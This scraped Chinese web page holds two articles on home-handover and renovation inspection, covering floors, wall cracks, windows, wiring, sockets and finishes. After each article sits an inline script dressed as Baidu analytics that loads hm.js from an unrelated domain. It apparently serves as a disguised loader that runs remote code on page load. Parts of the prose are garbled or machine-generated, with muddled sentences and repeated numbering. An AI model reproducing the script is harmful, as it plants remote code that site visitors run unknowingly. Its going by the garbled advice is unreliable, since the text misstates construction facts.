验收新房注意事项有哪些值得关注

验收新房如果不谨慎，不仅会影响房屋质量，还会带来很多安全隐患。事实上，新房的检查是必要的，因为会影响到新房后期的装修，而且还关系到家人的安全，验收新房注意事项有哪几点呢？一般有房屋地面的平整度、墙面上裂痕情况以及门窗轨道顺畅度。1.房屋地面的平整度使用长标尺或带有水平液柱的特殊标尺靠墙检查平整度，同时检查墙面是否有划痕和裂缝。墙面是否有断点，当石灰是由熟石灰制成时，它将不均匀地酿造。当应用于墙壁时，它将很容易形成断点。用铁器敲击爆点，会导致大面积松动并掉落。验收新房注意事项里面楼地面是否平整一定要特别关注。2.墙面上裂痕情况检查墙壁是否有裂缝，裂缝情况有这几种：温度、沉降、变形、强度等裂缝。外面是否有铁丝网或钢筋，如果在检查过程中发现上述墙壁问题，可以追究开发商修补后再签字。3.门窗轨道顺畅度关于门窗的检查，最重要的是检查门窗的轨道是否光滑是否严实。否则，房子里会漏风，特别是在寒冷的北方。另一个是检查新房的门窗是否损坏。如果窗口的框架变形，在检查过程中发现很多问题，直接通知开发人员，他们将很快修复，如果业主签了名，再找开发人员解决这些问题，办事效率就很慢。除了上述的验收新房注意事项外，业主还需要学习更多的新房验收知识，还有个简单的方法，如果业主有熟悉验收新房的朋友，可以带着朋友去验收，在入住新房之前，或者在装修计划之前之前，业主有必要检查购买的房屋，然后对合同进最后一步明确，多看看验收新房注意事项。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

新房验房注意什么及如何去验收吗

很多人拿到房子之后，都不知道如何验收，新房验房注意什么是一件复杂又需要细心去做的事情，那么接下来给大家讲解一下新房验房注意什么及如何去验收吧。一.开工验收1.检查装修协议上是否有物业签字，施工方是否跟物业办理了“开工证”等，不然开工后物业容易来闹事。2.根据合同上的材料清单，核对现场材料的数量，型号和规格，防止材料偷项漏项。二.水电验收新房验房注意什么？水电这类看不见的隐密工程是很重要的，如果隐密工作没有做好，表面装修的再好看，也是没有用的。1.插座离地面≥300㎜：这个主要为了使用方便，可以用卷尺测量。2.盒线管应阻燃：这个道理大家都懂的，安全第一，最简单的方法是拿打火机烧一下，如果只冒黑烟没有明火就是合格的。3.金属软管不得有电线裸露：金属软管对穿在里面的电线保护效果很好，但因为它的表面是金属会导电，所以电线不能裸露在外面，会有安全隐患。三、电器灯具的检查电器的安置有没有符合标准，电路通电稳定吗？这个问题就避免了新房验房注意什么的漏洞。1.安装位置正确：根据图纸规划检查每一个位置。2.可正常使用：每盏灯都多开关几次，看看有没有劣质或坏掉的灯。1.开关开启灵敏：多开关几次，感觉有点卡，那就不行。2.多控开关控制有效：多操作几次就知道有没有效了。3.同一房间开关插座高度保持一致：这个是从整体统一性和美观上的要求。4.用水部位采用防水插座：不懂什么是防水插座，直接跟项目经理确认是否防水的就可以了。1.插座拔插顺畅：插入时顺畅，尤其是在拔出来的时候也要注意顺畅问题。四、地面、顶面及墙面的检查新房验房注意什么？对于地面、顶面及墙面这些都是起到外形好看的作用，需要注意。1.地面检查：瓷砖接缝顺直，目测即可，像上图一样即为标准。地板无质量问题，开裂，有色差，尺寸不一等等这些都不合格。拼花形状一致，无色差等无质量问题。2.顶面表面检查：表面清洁无污染；乳胶漆涂刷均匀、平整、到位目测即可。3.墙面检查：瓷砖接缝顺直；墙纸或油漆无质量问题，一看整体是否协调，二摸表面是否粗糙。每个人都希望有一个住的舒适温暖的家，那么，在新房验房注意什么及如何去验收这一块就要注意一下了，在这一方面，可能大多数人都不够仔细，但是验房验得好，才住的安心。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();